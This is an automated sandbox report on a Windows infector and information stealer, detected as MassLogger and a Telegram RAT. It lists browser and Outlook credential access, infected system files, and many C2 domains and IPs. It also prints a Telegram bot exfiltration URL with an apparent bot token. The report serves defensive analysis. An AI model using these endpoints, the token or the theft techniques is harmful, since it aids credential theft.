Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Oracle\Java\javapath_target_415196\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Oracle\Java\javapath_target_415196\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Package Cache\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\VC_redist.x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Package Cache\{e2803110-78b3-4664-a479-3611a381656a}\VC_redist.x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	Jump to behavior

Searches for Windows Mail specific files

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Directory queried: C:\Program Files (x86)\Windows Mail\en-US *			Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Directory queried: C:\Program Files (x86)\Windows Mail\en-US NULL			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior

Source: Yara match	File source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 LSASS Driver	1 LSASS Driver	1 Disable or Modify Tools	1 OS Credential Dumping	1 Account Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	11 Windows Service	11 Windows Service	1 Software Packing	Security Account Manager	113 System Information Discovery	SMB/Windows Admin Shares	2 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	212 Process Injection	1 DLL Side-Loading	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	222 Masquerading	LSA Secrets	12 Security Software Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Y2EM7suNV5.exe	82%	ReversingLabs	Win32.Virus.Expiro
Y2EM7suNV5.exe	100%	Avira	W32/Infector.Gen
Y2EM7suNV5.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\System32\wbengine.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\Locator.exe	100%	Avira	W32/Infector.Gen
C:\Windows\ehome\ehsched.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\dllhost.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files\Windows Media Player\wmpnetwk.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\msiexec.exe	100%	Avira	W32/Infector.Gen
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	100%	Avira	W32/Infector.Gen
C:\Windows\SysWOW64\perfhost.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\sppsvc.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\msdtc.exe	100%	Avira	W32/Infector.Gen
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\wbem\WmiApSrv.exe	100%	Avira	W32/Infector.Gen
C:\Windows\ehome\ehrecvr.exe	100%	Avira	W32/Infector.Gen
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	100%	Avira	W32/Infector.Gen
C:\Windows\System32\ieetwcollector.exe	100%	Avira	W32/Infector.Gen
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\snmptrap.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\vds.exe	100%	Avira	W32/Infector.Gen
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\FXSSVC.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\SearchIndexer.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\VSSVC.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\alg.exe	100%	Avira	W32/Infector.Gen
C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\wbengine.exe	100%	Joe Sandbox ML
C:\Windows\System32\Locator.exe	100%	Joe Sandbox ML
C:\Windows\ehome\ehsched.exe	100%	Joe Sandbox ML
C:\Windows\System32\dllhost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Media Player\wmpnetwk.exe	100%	Joe Sandbox ML
C:\Windows\System32\msiexec.exe	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\perfhost.exe	100%	Joe Sandbox ML
C:\Windows\System32\sppsvc.exe	100%	Joe Sandbox ML
C:\Windows\System32\msdtc.exe	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	100%	Joe Sandbox ML
C:\Windows\System32\wbem\WmiApSrv.exe	100%	Joe Sandbox ML
C:\Windows\ehome\ehrecvr.exe	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Joe Sandbox ML
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	100%	Joe Sandbox ML
C:\Windows\System32\ieetwcollector.exe	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Joe Sandbox ML
C:\Windows\System32\snmptrap.exe	100%	Joe Sandbox ML
C:\Windows\System32\vds.exe	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	100%	Joe Sandbox ML
C:\Windows\System32\FXSSVC.exe	100%	Joe Sandbox ML
C:\Windows\System32\SearchIndexer.exe	100%	Joe Sandbox ML
C:\Windows\System32\VSSVC.exe	100%	Joe Sandbox ML
C:\Windows\System32\alg.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
uaafd.biz	3.254.94.185	true	false	unknown
vjaxhpbji.biz	82.112.184.197	true	true	unknown
pywolwnvd.biz	54.244.188.177	true	true	unknown
ytctnunms.biz	3.94.10.34	true	false	unknown
lrxdmhrr.biz	54.244.188.177	true	true	unknown
vrrazpdh.biz	34.211.97.45	true	false	unknown
ctdtgwag.biz	3.94.10.34	true	false	unknown
tbjrpv.biz	34.246.200.160	true	false	unknown
hehckyov.biz	44.221.84.105	true	false	unknown
xlfhhhm.biz	47.129.31.212	true	false	unknown
warkcdu.biz	18.141.10.107	true	true	unknown
npukfztj.biz	44.221.84.105	true	false	unknown
sxmiywsfv.biz	13.251.16.150	true	true	unknown
przvgke.biz	172.234.222.138	true	false	unknown
dwrqljrr.biz	54.244.188.177	true	true	unknown
ocsvqjg.biz	3.254.94.185	true	false	unknown
ecxbwt.biz	54.244.188.177	true	true	unknown
gytujflc.biz	208.100.26.245	true	false	unknown
bghjpy.biz	34.211.97.45	true	false	unknown
damcprvgv.biz	18.208.156.248	true	false	unknown
gvijgjwkh.biz	3.94.10.34	true	false	unknown
gnqgo.biz	18.208.156.248	true	false	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
deoci.biz	18.208.156.248	true	false	unknown
iuzpxe.biz	13.251.16.150	true	true	unknown
checkip.dyndns.com	132.226.8.169	true	false	unknown
nqwjmb.biz	35.164.78.200	true	false	unknown
wllvnzb.biz	18.141.10.107	true	true	unknown
cvgrf.biz	54.244.188.177	true	true	unknown
lpuegx.biz	82.112.184.197	true	true	unknown
bumxkqgxu.biz	44.221.84.105	true	false	unknown
yhqqc.biz	34.211.97.45	true	false	unknown
vcddkls.biz	18.141.10.107	true	true	unknown
vyome.biz	18.246.231.120	true	false	unknown
dlynankz.biz	85.214.228.140	true	false	unknown
gcedd.biz	13.251.16.150	true	true	unknown
reczwga.biz	44.221.84.105	true	false	unknown
xccjj.biz	18.246.231.120	true	false	unknown
oshhkdluh.biz	54.244.188.177	true	true	unknown
opowhhece.biz	18.208.156.248	true	false	unknown
pectx.biz	18.246.231.120	true	false	unknown
jwkoeoqns.biz	18.208.156.248	true	false	unknown
jpskm.biz	34.211.97.45	true	false	unknown
ftxlah.biz	47.129.31.212	true	false	unknown
ifsaia.biz	13.251.16.150	true	true	unknown
rynmcq.biz	54.244.188.177	true	true	unknown
oflybfv.biz	47.129.31.212	true	false	unknown
jhvzpcfg.biz	44.221.84.105	true	false	unknown
ywffr.biz	54.244.188.177	true	true	unknown
tnevuluw.biz	35.164.78.200	true	false	unknown
saytjshyf.biz	44.221.84.105	true	false	unknown
fwiwk.biz	172.234.222.143	true	false	unknown
rrqafepng.biz	47.129.31.212	true	false	unknown
typgfhb.biz	13.251.16.150	true	true	unknown
esuzf.biz	34.211.97.45	true	false	unknown
eufxebus.biz	18.141.10.107	true	true	unknown
whjovd.biz	18.141.10.107	true	true	unknown
banwyw.biz	44.221.84.105	true	false	unknown
myups.biz	165.160.15.20	true	false	unknown
pwlqfu.biz	34.246.200.160	true	false	unknown
zyiexezl.biz	18.208.156.248	true	false	unknown
yauexmxk.biz	18.208.156.248	true	false	unknown
ssbzmoy.biz	18.141.10.107	true	true	unknown
knjghuig.biz	18.141.10.107	true	true	unknown
yunalwv.biz	208.100.26.245	true	false	unknown
brsua.biz	3.254.94.185	true	false	unknown
mgmsclkyu.biz	34.246.200.160	true	false	unknown
gjogvvpsf.biz	208.100.26.245	true	false	unknown
qaynky.biz	13.251.16.150	true	true	unknown
qpnczch.biz	18.246.231.120	true	false	unknown
mnjmhp.biz	47.129.31.212	true	false	unknown
acwjcqqv.biz	18.141.10.107	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
jdhhbs.biz	13.251.16.150	true	true	unknown
anpmnmxo.biz	unknown	unknown	true	unknown
zjbpaao.biz	unknown	unknown	true	unknown
checkip.dyndns.org	unknown	unknown	true	unknown
uhxqin.biz	unknown	unknown	true	unknown
zlenh.biz	unknown	unknown	true	unknown
lejtdj.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bumxkqgxu.biz/jeenu	false		unknown
http://myups.biz/rexvoyt	false		unknown
http://rrqafepng.biz/ttsxmvbmlkovsoeu	false		unknown
http://opowhhece.biz/ailfwe	false		unknown
http://yunalwv.biz/leerrgpve	false		unknown
http://vrrazpdh.biz/mfgtlyoxltllucfv	false		unknown
http://deoci.biz/nnramlut	false		unknown
http://yunalwv.biz/nddqsqyaehsvs	false		unknown
http://vcddkls.biz/utjvkgqwflxhq	true		unknown
http://ifsaia.biz/hniilvtpfhrduk	true		unknown
http://ctdtgwag.biz/snr	false		unknown
http://gytujflc.biz/fcktmmwlxccab	false		unknown
http://vjaxhpbji.biz/qucjadqwup	true		unknown
http://knjghuig.biz/paoxjgvpouus	true		unknown
http://saytjshyf.biz/bjrgmptusqrnn	false		unknown
http://fwiwk.biz/gkfeudwyqf	false		unknown
http://fwiwk.biz/ned	false		unknown
http://ssbzmoy.biz/tldvoryrtfsfyqv	true		unknown
http://przvgke.biz/lxhffvipcoeddj	false		unknown
http://dwrqljrr.biz/hifqxchjb	true		unknown
http://nqwjmb.biz/tmdh	false		unknown
http://yunalwv.biz/sqabwdma	false		unknown
http://ywffr.biz/ndaillua	true		unknown
http://gnqgo.biz/uxtifi	false		unknown
http://rynmcq.biz/mxgreyoumk	true		unknown
http://uaafd.biz/pq	false		unknown
http://ssbzmoy.biz/pqxorusymlbofeu	true		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
http://vjaxhpbji.biz/bcfum	true		unknown
http://przvgke.biz/wjgduojsimdrmvmh	false		unknown
http://opowhhece.biz/cvnaryjxwio	false		unknown
http://gytujflc.biz/pgxrysmjckijuet	false		unknown
http://pywolwnvd.biz/ot	true		unknown
http://przvgke.biz/pexnemvkim	false		unknown
http://ocsvqjg.biz/llnmgshpkylde	false		unknown
http://cvgrf.biz/yrykgmfjtkgvqgst	true		unknown
http://gvijgjwkh.biz/hwmi	false		unknown
http://gnqgo.biz/fsfjsuvphovialx	false		unknown
http://ecxbwt.biz/tpjvftvnmtifikga	true		unknown
http://cvgrf.biz/bhswbqgtxfim	true		unknown
http://gytujflc.biz/tfwcfihajfsknfdy	false		unknown
http://wllvnzb.biz/qoujrafrjupdecwk	true		unknown
http://eufxebus.biz/f	true		unknown
http://oshhkdluh.biz/tvs	true		unknown
http://reczwga.biz/k	false		unknown
http://lrxdmhrr.biz/b	true		unknown
http://jwkoeoqns.biz/ecebdojuerohevn	false		unknown
http://sxmiywsfv.biz/monxrc	true		unknown
http://vjaxhpbji.biz/i	true		unknown
http://mnjmhp.biz/ibltbnq	false		unknown
http://brsua.biz/awp	false		unknown
http://sxmiywsfv.biz/owpveplpxc	true		unknown
http://jhvzpcfg.biz/furcugoysad	false		unknown
http://qaynky.biz/uniexccayncf	true		unknown
http://dlynankz.biz/rfoqubmdkrjinw	false		unknown
http://qpnczch.biz/ymx	false		unknown
http://acwjcqqv.biz/rvvfyb	true		unknown
http://oflybfv.biz/fkxlwi	false		unknown
http://gjogvvpsf.biz/eswgfgu	false		unknown
http://oflybfv.biz/lbvtayaxtu	false		unknown
http://pwlqfu.biz/uofstlnqwooh	false		unknown
http://npukfztj.biz/cktgq	false		unknown
http://yauexmxk.biz/se	false		unknown
http://tbjrpv.biz/fwiolhgpy	false		unknown
http://xlfhhhm.biz/relpigo	false		unknown
http://lrxdmhrr.biz/wdkbakfwcljeee	true		unknown
http://typgfhb.biz/dxiyoposcsn	true		unknown
http://gjogvvpsf.biz/cmbgomxflm	false		unknown
http://jdhhbs.biz/tavebjdgehrvtmrn	true		unknown
http://iuzpxe.biz/bwrhinanm	true		unknown
http://mnjmhp.biz/vvmrjbgjpb	false		unknown
http://przvgke.biz/souksyjpdy	false		unknown
http://nqwjmb.biz/bqcsnekhcxofg	false		unknown
http://yhqqc.biz/fbtqdhvhtjfn	false		unknown
http://xlfhhhm.biz/qqveddhfin	false		unknown
http://ifsaia.biz/g	true		unknown
http://jpskm.biz/vwvr	false		unknown
http://deoci.biz/ibqcaxybc	false		unknown
http://npukfztj.biz/vowyb	false		unknown
http://ytctnunms.biz/cvyg	false		unknown
http://wllvnzb.biz/lkklmy	true		unknown
http://npukfztj.biz/ahwrytucofsoghfm	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot	RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839	RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://damcprvgv.biz/	armsvc.exe, 00000002.00000003.616672007.000000000080F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.diginotar.nl/cps/pkioverheid0	RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://54.244.188.177/tpjvftvnmtifikga	armsvc.exe, 00000002.00000002.625026378.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.625026378.00000000007F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org/q	RegSvcs.exe, 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 0000000C.00000002.626414003.00000000022A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	wmpnetwk.exe.2.dr	false	URL Reputation: safe	unknown
http://18.208.156.248/	armsvc.exe, 00000002.00000003.616672007.000000000080F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.625026378.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.610749921.000000000080F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.626414003.0000000002316000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://54.244.188.177/ndailluade	armsvc.exe, 00000002.00000002.625026378.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	RegSvcs.exe, 0000000C.00000002.626414003.0000000002322000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	RegSvcs.exe, 0000000C.00000002.626042060.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	RegSvcs.exe, 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://.exe	armsvc.exe, 00000002.00000003.537832595.00000000014F0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.537823341.0000000001610000.00000004.00001000.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
165.160.15.20	myups.biz	United States	19574	CSCUS	false
3.254.94.185	uaafd.biz	United States	16509	AMAZON-02US	false
3.94.10.34	ytctnunms.biz	United States	14618	AMAZON-AESUS	false
34.246.200.160	tbjrpv.biz	United States	16509	AMAZON-02US	false
172.234.222.143	fwiwk.biz	United States	20940	AKAMAI-ASN1EU	false
18.208.156.248	damcprvgv.biz	United States	14618	AMAZON-AESUS	false
34.211.97.45	vrrazpdh.biz	United States	16509	AMAZON-02US	false
193.122.130.0	unknown	United States	31898	ORACLE-BMC-31898US	false
208.100.26.245	gytujflc.biz	United States	32748	STEADFASTUS	false
35.164.78.200	nqwjmb.biz	United States	16509	AMAZON-02US	false
172.234.222.138	przvgke.biz	United States	20940	AKAMAI-ASN1EU	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
44.221.84.105	hehckyov.biz	United States	14618	AMAZON-AESUS	false
85.214.228.140	dlynankz.biz	Germany	6724	STRATOSTRATOAGDE	false
54.244.188.177	pywolwnvd.biz	United States	16509	AMAZON-02US	true
13.251.16.150	sxmiywsfv.biz	United States	16509	AMAZON-02US	true
47.129.31.212	xlfhhhm.biz	Canada	34533	ESAMARA-ASRU	false
18.246.231.120	vyome.biz	United States	16509	AMAZON-02US	false
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	true
18.141.10.107	warkcdu.biz	United States	16509	AMAZON-02US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546195
Start date and time:	2024-10-31 16:02:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Y2EM7suNV5.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	178612bc81b4b9f01025463820ab22f48d22d168d5599a7e0a2768e4c9b51b8d
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@17/36@145/21
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Successful, ratio: 57% Number of executed functions: 90 Number of non-executed functions: 73

Warnings

Exclude process from analysis (whitelisted): SearchFilterHost.exe, dllhost.exe, wmpnetwk.exe, VSSVC.exe, SearchIndexer.exe, OSE.EXE, sppsvc.exe, FlashPlayerUpdateService.exe, SearchProtocolHost.exe, WMIADAP.exe, WmiApSrv.exe, spsys.sys, mscorsvw.exe
Execution Graph export aborted for target RegSvcs.exe, PID 3736 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Y2EM7suNV5.exe

Simulations

Behavior and APIs

Time	Type	Description
11:03:21	API Interceptor	2336x Sleep call for process: armsvc.exe modified
11:03:23	API Interceptor	11x Sleep call for process: Y2EM7suNV5.exe modified
11:03:24	API Interceptor	201x Sleep call for process: alg.exe modified
11:03:31	API Interceptor	237x Sleep call for process: aspnet_state.exe modified
11:03:41	API Interceptor	118x Sleep call for process: ehrecvr.exe modified
11:03:42	API Interceptor	132x Sleep call for process: ehsched.exe modified
